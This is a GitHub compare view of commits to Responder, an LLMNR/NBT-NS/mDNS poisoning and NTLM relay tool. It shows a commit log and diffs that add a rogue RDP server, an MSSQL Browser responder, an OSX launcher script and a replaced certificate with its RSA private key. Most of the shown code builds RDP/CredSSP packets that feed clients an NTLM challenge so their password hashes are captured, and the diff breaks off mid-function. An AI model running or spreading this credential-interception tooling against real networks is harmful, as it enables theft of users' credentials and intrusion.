Compare commits

...

51 Commits

Author SHA1 Message Date
lgandx
c52843a535 Added RDP rogue server 2019-08-17 16:31:34 -03:00
lgandx
88e316c9a3 Merge pull request #91 from cnotin/patch-1
FindSMB2UPTime: properly deal with servers not disclosing their boot time
2019-05-26 11:05:49 -03:00
lgandx
e1d1657dff Merge pull request #92 from Crypt0-M3lon/master
Fix socket timeout on HTTP POST requests
2019-05-26 11:04:48 -03:00
Crypt0-M3lon
32be7a1853 Merge pull request #1 from Crypt0-M3lon/Crypt0-M3lon-patch-1
Fix socket timeout on HTTP POST requests
2019-02-08 09:08:49 +01:00
Crypt0-M3lon
e7a787cbc4 Fix socket timeout on HTTP POST requests
Remaining size should be checked at the end of the loop, the current implementation hang when POST request Content-Lenght is 0.
We want to check for Content-Length header only if we received full header.
2019-02-08 09:08:24 +01:00
Clément Notin
80aa964294 FindSMB2UPTime: properly deal with servers not disclosing their boot time 2019-02-04 11:46:08 +01:00
lgandx
7339411766 Enhanced flags2 to force SMB signature off 2019-01-15 16:18:47 -03:00
lgandx
9656f140e7 Merge pull request #89 from cnotin/patch-1
Replace ParseSMB2NTLMv2Hash() by ParseSMBHash() to handle NTLMv1 and NTLMv2
2019-01-13 11:21:24 -03:00
Clément Notin
c99c9edf19 Replace ParseSMB2NTLMv2Hash() by ParseSMBHash() to handle NTLMv1 and NTLMv2 2019-01-09 19:16:52 +01:00
lgandx
38e721da98 fixed minor bugfix on recent merge 2018-11-28 21:07:39 -03:00
lgandx
fab7ba9e6e Merge pull request #88 from PaulSec/master
Added proper changes to RunFinger
2018-11-28 20:40:51 -03:00
Paul A
105502edd4 Added proper changes to RunFinger (and is not checking for MS17-010 straight away) 2018-11-18 12:41:15 +01:00
lgandx
be551a0db3 Merge pull request #85 from mdeous/multirelay-exclude-user
[MultiRelay] allow to blacklist users
2018-11-11 09:51:04 -03:00
lgandx
4b5da9d7ce Merge pull request #86 from mschader/patch-1
Update README.md: Fix typo
2018-11-11 09:49:23 -03:00
lgandx
47e63ae4ec removed debug string 2018-11-11 09:46:15 -03:00
Markus
2287f936fd Update README.md: Fix typo
Fixed just a tiny typo.
2018-10-22 15:54:06 +02:00
MatToufoutu
4e70e95a8e allow to blacklist users 2018-09-14 00:19:17 +02:00
lgandx
a256355468 Merge pull request #46 from jackassplus/patch-1
Create OSX_launcher.sh
2018-08-24 15:16:00 -03:00
lgandx
dd39ee0c3d Merge pull request #69 from EuanKerr/patch-1
Update RunFinger.py
2018-08-24 15:14:29 -03:00
lgandx
861c797eb5 Merge pull request #80 from myst404/master
Better handling of cleartext credentials
2018-08-24 15:13:39 -03:00
lgandx
6916b085ec Merge pull request #83 from cnotin/patch-2
Fix multi HTTP responses
2018-08-24 14:34:53 -03:00
lgandx
6037d98160 Merge pull request #82 from cnotin/patch-1
Fix version number in settings.py
2018-08-24 14:34:15 -03:00
Clément Notin
defabfa543 Fix multi HTTP responses 2018-08-17 15:45:13 +02:00
Clément Notin
621c5a3c12 Fix version number in settings.py 2018-08-17 11:51:18 +02:00
myst404
750a2466d9 Better handling of cleartext credentials 2018-06-18 10:59:52 +02:00
lgandx
242bc37997 Merge pull request #71 from myst404/master
FindSMB2UPTime.py : Subnet support, error handling, minor improvements
2018-05-28 20:02:44 -03:00
lgandx
fe53785eec Merge pull request #72 from chrismaddalena/master
Fixed some small typos in MS17-010 output
2018-05-28 20:01:44 -03:00
Chris Maddalena
daaf6f7296 Fixed some small typos in MS17-010 output 2017-12-05 17:31:27 -05:00
myst404
97aeac26d8 Subnet support, error handling, minor improvements 2017-11-30 16:05:14 +01:00
Euan
064f7e62c7 Update RunFinger.py 2017-11-20 12:38:54 +00:00
lgandx
c6bc263b5e Merge pull request #51 from watersalesman/master
Fixed instances of "CRTL-C" to "CTRL-C"
2017-11-20 07:35:33 -03:00
lgandx
46cd888d15 Merge pull request #63 from myst404/master
Fixed space typo in FindSMB2UPTime.py
2017-11-20 07:32:49 -03:00
lgandx
a5a328b8c9 Merge pull request #67 from lprat/master
Add ignore case on check body for html inject
2017-11-20 07:31:52 -03:00
lgandx
b37f56264a Added: check for null sessions and MS17-010 2017-11-19 22:58:28 -03:00
Lionel PRAT
47c311553e Add ignore case on check body for html inject 2017-11-16 16:31:18 +01:00
lgandx
207b0d455c added support for plain auth 2017-09-06 02:07:41 -03:00
lgandx
679cf65cff Changed the complete LDAP parsing hash algo (ntlmv2 bug). 2017-09-04 23:15:27 -03:00
lgandx
be26b504b5 Fixed various bugs and improved the LDAP module. 2017-09-04 21:57:51 -03:00
lgandx
75aa21bbb9 Several Bugfix 2017-09-04 18:50:04 -03:00
myst404
11c00969c3 Fixed space typo in FindSMB2UPTime.py 2017-08-28 18:37:34 +02:00
lgandx
ffca0e2a92 Merge pull request #61 from OJ/fix-ldap-hash-parsing
Pass Challenge value to the LDAP parsing function
2017-08-24 22:00:10 -03:00
OJ
33bde41902 Pass Challenge value to the LDAP parsing function 2017-08-25 09:03:01 +10:00
lgandx
95c0d6e673 Merge pull request #58 from megabug/mssql-browser
Add Microsoft SQL Server Browser responder
2017-07-15 13:23:08 -03:00
lgandx
0436b47a2c Merge pull request #59 from breakersall/patch-2
Add in check for uptime since March 14th 2017, which could indicate t…
2017-07-15 13:19:53 -03:00
Matt Kelly
5859c31e8e Add in check for uptime since March 14th 2017, which could indicate the system is vulnerable to MS17-010
Add in check for uptime since March 14th 2017, which could indicate the system is vulnerable to MS17-010 (EternalBlue/dismay style exploit)
2017-06-28 14:09:05 -05:00
Matthew Daley
bc90f8fe27 Update README.md with new SQL Browser port usage 2017-06-28 19:15:07 +12:00
Matthew Daley
bff935e71e Add Microsoft SQL Server Browser responder
When connecting to a named instance, a SQL client (at least SQL Server
Native Client) will send a request (namely a CLNT_UCAST_INST message) to
the server's SQL Server Browser service for instance connection
information. If it gets no response, the connection attempt fails.

By adding a SQL Server Browser responder for these requests, we ensure
that connections are successfully made to the SQL Server responder for
hash capture.

As per the comment, this is based on the document "[MC-SQLR]: SQL Server
Resolution Protocol", currently available at
<https://msdn.microsoft.com/en-us/library/cc219703.aspx>.
2017-06-28 19:14:38 +12:00
Randy Ramos
44a4e495cc Fixed instances of "CRTL-C" to "CTRL-C" 2017-04-22 14:40:19 -04:00
lgandx
38219e249e added: mimi32 cmd, MultiRelay random RPC & Namedpipe & latest mimikatz 2017-03-30 23:39:41 -03:00
lgandx
2223ef6689 updated readme 2017-03-29 14:24:17 -03:00
jackassplus
54389c4851 Create OSX_launcher.sh
Launcher helper for OSX. 

Checks for running LaunchDaemons using one of responder's ports and unloads them one by one, placing them on a stack to be restarted when responder is killed.
2017-03-27 08:10:33 -07:00
26 changed files with 1260 additions and 407 deletions

39
OSX_launcher.sh Normal file
View File

@@ -0,0 +1,39 @@
# responder launcher
# set -x
# Usage:
# ./responderd /path/to/responder interface responder_options
# port list
# Everything -> tcp:21 tcp:80 tcp:25 udp:53 tcp:88 udp:137 udp:138 tcp:139 tcp:143 tcp:443 tcp:445 tcp:110 tcp:389 tcp:1433 tcp:3141 udp:5353 udp:5355
PORT_LIST=(tcp:21 udp:53 tcp:88 udp:137 udp:138 tcp:139 tcp:143 tcp:445 tcp:389 tcp:1433 udp:5353 udp:5355)
SVC_LIST=()
# check for running processes and kill them one by one
# looping over everything rather than doing a mass kill because some processes may be
# children and may not need to be killed
for port in ${PORT_LIST[@]}; do
PROC=$(lsof +c 0 -i $port | grep -m 1 -v 'launchd\|COMMAND' | cut -d' ' -f1)
if [ -n "$PROC" ]; then
AGENT=$(sudo launchctl list | grep -m 1 $PROC | cut -f3 | sed 's/.reloaded//g')
# load/unload are listed as "legacy" in 10.10+ may need to change this someday
echo "Stopping $PROC"
sudo launchctl unload -w /System/Library/LaunchDaemons/$AGENT.plist
# append killed service to new array
SVC_LIST+=($AGENT)
fi
done
# get IP address
IP=$(ifconfig $2 | grep 'inet ' | cut -d' ' -f2)
# Launch responder
python $1 $3 -i $IP
# restore stopped services
for agent in ${SVC_LIST[@]}; do
echo "Starting $agent"
sudo launchctl load -w /System/Library/LaunchDaemons/$agent.plist
done

View File

@@ -1,6 +1,6 @@
# Responder.py #
# Responder/MultiRelay #
LLMNR/NBT-NS/mDNS Poisoner
LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay.
Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.com
@@ -80,7 +80,7 @@ All hashes are printed to stdout and dumped in an unique file John Jumbo complia
Log files are located in the "logs/" folder. Hashes will be logged and printed only once per user per hash type, unless you are using the Verbose mode (-v).
- Responder will logs all its activity to Responder-Session.log
- Responder will log all its activity to Responder-Session.log
- Analyze mode will be logged to Analyze-Session.log
- Poisoning will be logged to Poisoners-Session.log
@@ -89,7 +89,7 @@ Additionally, all captured hashed are logged into an SQLite database which you c
## Considerations ##
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 and Multicast UDP 5553.
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 and Multicast UDP 5553.
- If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports.
@@ -169,6 +169,22 @@ You can contribute to this project by donating to the following BTC address:
1Pv9rZMNfy9hsW19eQhNGs22gY9sf6twjW
## Acknowledgments ##
Late Responder development has been possible because of the donations received from individuals and companies.
We would like to thanks those major donator:
- SecureWorks : https://www.secureworks.com/
- Black Hills Information Security: http://www.blackhillsinfosec.com/
- TrustedSec: https://www.trustedsec.com/
- And all, ALL the pentesters around the world who donated to this project.
Thank you.
## Copyright ##
NBT-NS/LLMNR Responder

View File

@@ -3,6 +3,7 @@
; Servers to start
SQL = On
SMB = On
RDP = On
Kerberos = On
FTP = On
POP = On

View File

@@ -244,6 +244,10 @@ def main():
from servers.HTTP import HTTP
threads.append(Thread(target=serve_thread_SSL, args=('', 443, HTTP,)))
if settings.Config.RDP_On_Off:
from servers.RDP import RDP
threads.append(Thread(target=serve_thread_tcp, args=('', 3389, RDP,)))
if settings.Config.WPAD_On_Off:
from servers.HTTP_Proxy import HTTP_Proxy
threads.append(Thread(target=serve_thread_tcp, args=('', 3141, HTTP_Proxy,)))
@@ -268,8 +272,9 @@ def main():
threads.append(Thread(target=serve_thread_tcp, args=('', 88, KerbTCP,)))
if settings.Config.SQL_On_Off:
from servers.MSSQL import MSSQL
from servers.MSSQL import MSSQL, MSSQLBrowser
threads.append(Thread(target=serve_thread_tcp, args=('', 1433, MSSQL,)))
threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 1434, MSSQLBrowser,)))
if settings.Config.FTP_On_Off:
from servers.FTP import FTP

0
certs/gen-self-signed-cert.sh Executable file → Normal file
View File

View File

@@ -1,18 +1,18 @@
-----BEGIN CERTIFICATE-----
MIIC0zCCAbugAwIBAgIJAOQijexo77F4MA0GCSqGSIb3DQEBBQUAMAAwHhcNMTUw
NjI5MDU1MTUyWhcNMjUwNjI2MDU1MTUyWjAAMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k
sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP
2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC
6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg
WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF
N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABo1AwTjAdBgNVHQ4EFgQU
YY2ttc/bjfXwGqPvNUSm6Swg4VYwHwYDVR0jBBgwFoAUYY2ttc/bjfXwGqPvNUSm
6Swg4VYwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAXFN+oxRwyqU0
YWTlixZl0NP6bWJ2W+dzmlqBxugEKYJCPxM0GD+WQDEd0Au4pnhyzt77L0sBgTF8
koFbkdFsTyX2AHGik5orYyvQqS4jVkCMudBXNLt5iHQsSXIeaOQRtv7LYZJzh335
4431+r5MIlcxrRA2fhpOAT2ZyKW1TFkmeAMoH7/BTzGlre9AgCcnKBvvGdzJhCyw
YlRGHrfR6HSkcoEeIV1u/fGU4RX7NO4ugD2wkOhUoGL1BS926WV02c5CugfeKUlW
HM65lZEkTb+MQnLdpnpW8GRXhXbIrLMLd2pWW60wFhf6Ub/kGJ5bCUTnXYPRcA3v
u0/CRCN/lg==
MIIC4TCCAcmgAwIBAgIUO+GAjgRhHP9zb1avAb9yg8JyGOgwDQYJKoZIhvcNAQEL
BQAwADAeFw0xOTA4MTYyMjA2MTFaFw0yOTA4MTMyMjA2MTFaMAAwggEiMA0GCSqG
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDVvbov/KiK+Xbv/bhGQBlgb9eVqIFDtTPd
0ZlLNOhRuHRUbw3XC3q3gPerfSE9ANeFUKfHpSUUA5AU4hjMSBMX1iUVR+OKgzTK
czE4kAJe1ZJpiB8TU6FBapQwOPv9M463BOQQ8lfmX+EWerT+XniMFAmxf8FS7e4/
V7JZbon7uU18fc6H8KxVaNCEM382SpL39zU7qRNVG65Jf4MejJZEk30GMC4m22Fb
to6f/WS1NBk4HMdLClyXZngPY0idCuCZX3KBQvYpS3e1gEBsUPV0fZBz/GnvoE4o
qTia83QJAkjZ0r77/NAptihsXrqB2VDuR6aP5Bf/YFr/U4H9y01lAgMBAAGjUzBR
MB0GA1UdDgQWBBTs2vL9sLFs/p78FXHfgz7Zk8ZEwTAfBgNVHSMEGDAWgBTs2vL9
sLFs/p78FXHfgz7Zk8ZEwTAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUA
A4IBAQBIYrRgmGhAQr+VmyqSQcxYWW0GWKvGQwz5t1A8AoBe8d3SDb1mb/Lq/POx
jnF67dAifYbTzz6JWsxCFED2UP8OL3oij0dWTfvGO//6nwhVss2Or0WTdxkSQVE4
p4CElQYjvoYYhxuDzO3HsxqHBtxMOT+8fO/07aInxVWEtvmflNo3mxE4P7w6D8g5
v2jZNf8EjTDQOF90kjkGGhTU7j9hRewfxzBZZOvaHA+/XczJ3fARpdYrvtFvvjnH
Da1WjQDQhSLufZYcFrzd4i6pyXQYzevjgHSeFSJt78Hr0BxMkKzLAhsFmS6fiULm
iKqwycWcwlFFUDbwBuOyfbfwjtUf
-----END CERTIFICATE-----

View File

@@ -1,27 +1,27 @@
-----BEGIN RSA PRIVATE KEY-----
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
-----END RSA PRIVATE KEY-----

View File

@@ -1633,3 +1633,148 @@ class SMB2NegoDataReq(Packet):
("StrType2","\x02"),
("dialect2", "SMB 2.???\x00"),
])
###################RDP Packets################################
class TPKT(Packet):
fields = OrderedDict([
("Version", "\x03"),
("Reserved", "\x00"),
("Length", "\x00\x24" ),
("Data", ""),
])
def calculate(self):
self.fields["Length"] = struct.pack(">h",len(str(self.fields["Data"]))+4)#Data+own header.
class X224(Packet):
fields = OrderedDict([
("Length", "\x0e"),
("Cmd", "\xd0"),
("Dstref", "\x00\x00"),
("Srcref", "\x12\x34"),
("Class", "\x00"),
("Data", "")
])
def calculate(self):
self.fields["Length"] = struct.pack(">B",len(str(self.fields["Data"]))+6)
class RDPNEGOAnswer(Packet):
fields = OrderedDict([
("Cmd", "\x02"),
("Flags", "\x00"),
("Length", "\x08\x00"),
("SelectedProto", "\x02\x00\x00\x00"),#CredSSP
])
def calculate(self):
self.fields["Length"] = struct.pack("<h",8)
class RDPNTLMChallengeAnswer(Packet):
fields = OrderedDict([
("PacketStartASN", "\x30"),
("PacketStartASNLenOfLen", "\x81"),
("PacketStartASNStr", "\x01"), #Len of what follows... in this case, +20 since it's x81 lengths are >B
("PacketStartASNTag0", "\xa0"),
("PacketStartASNTag0Len", "\x03"), #Static for TSVersion
("PacketStartASNTag0Len2", "\x02"),
("PacketStartASNTag0Len3", "\x01"),
("PacketStartASNTag0CredSSPVersion", "\x05"),##TSVersion: Since padding oracle, v2,v3,v4 are rejected by win7..
("ParserHeadASNID1", "\xa1"),
("ParserHeadASNLenOfLen1", "\x81"),
("ParserHeadASNLen1", "\xfa"),#... +12
("MessageIDASNID", "\x30"),
("MessageIDASNLen", "\x81"),
("MessageIDASNLen2", "\xf7"),#... +9
("OpHeadASNID", "\x30"),
("OpHeadASNIDLenOfLen", "\x81"),
("OpHeadASNIDLen", "\xf4"),#... +6
("StatusASNID", "\xa0"),
("MatchedDN", "\x81"),
("ASNLen01", "\xf1"),#NTLM len +3
("SequenceHeader", "\x04"),
("SequenceHeaderLenOfLen", "\x81"),
("SequenceHeaderLen", "\xee"), #done
#######
("NTLMSSPSignature", "NTLMSSP"),
("NTLMSSPSignatureNull", "\x00"),
("NTLMSSPMessageType", "\x02\x00\x00\x00"),
("NTLMSSPNtWorkstationLen", "\x1e\x00"),
("NTLMSSPNtWorkstationMaxLen", "\x1e\x00"),
("NTLMSSPNtWorkstationBuffOffset", "\x38\x00\x00\x00"),
("NTLMSSPNtNegotiateFlags", "\x15\x82\x8a\xe2"),
("NTLMSSPNtServerChallenge", "\x81\x22\x33\x34\x55\x46\xe7\x88"),
("NTLMSSPNtReserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("NTLMSSPNtTargetInfoLen", "\x94\x00"),
("NTLMSSPNtTargetInfoMaxLen", "\x94\x00"),
("NTLMSSPNtTargetInfoBuffOffset", "\x56\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionHigh", "\x05"),
("NegTokenInitSeqMechMessageVersionLow", "\x02"),
("NegTokenInitSeqMechMessageVersionBuilt", "\xce\x0e"),
("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"),
("NTLMSSPNtWorkstationName", "RDP12"),
("NTLMSSPNTLMChallengeAVPairsId", "\x02\x00"),
("NTLMSSPNTLMChallengeAVPairsLen", "\x0a\x00"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr", "RDP12"),
("NTLMSSPNTLMChallengeAVPairs1Id", "\x01\x00"),
("NTLMSSPNTLMChallengeAVPairs1Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr", "RDP12"),
("NTLMSSPNTLMChallengeAVPairs2Id", "\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs2Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr", "RDP12"),
("NTLMSSPNTLMChallengeAVPairs3Id", "\x03\x00"),
("NTLMSSPNTLMChallengeAVPairs3Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", "RPD12"),
("NTLMSSPNTLMChallengeAVPairs5Id", "\x05\x00"),
("NTLMSSPNTLMChallengeAVPairs5Len", "\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr", "RDP12"),
("NTLMSSPNTLMChallengeAVPairs6Id", "\x00\x00"),
("NTLMSSPNTLMChallengeAVPairs6Len", "\x00\x00"),
])
def calculate(self):
###### Convert strings to Unicode first
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
###### Workstation Offset
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
###### AvPairs Offset
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
###### RDP Packet Len
NTLMMessageLen = CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
##### RDP Len Calculation:
self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen))
self.fields["ASNLen01"] = struct.pack(">B", len(NTLMMessageLen)+3)
self.fields["OpHeadASNIDLen"] = struct.pack(">B", len(NTLMMessageLen)+6)
self.fields["MessageIDASNLen2"] = struct.pack(">B", len(NTLMMessageLen)+9)
self.fields["ParserHeadASNLen1"] = struct.pack(">B", len(NTLMMessageLen)+12)
self.fields["PacketStartASNStr"] = struct.pack(">B", len(NTLMMessageLen)+20)
##### Workstation Offset Calculation:
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation))
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
##### IvPairs Offset Calculation:
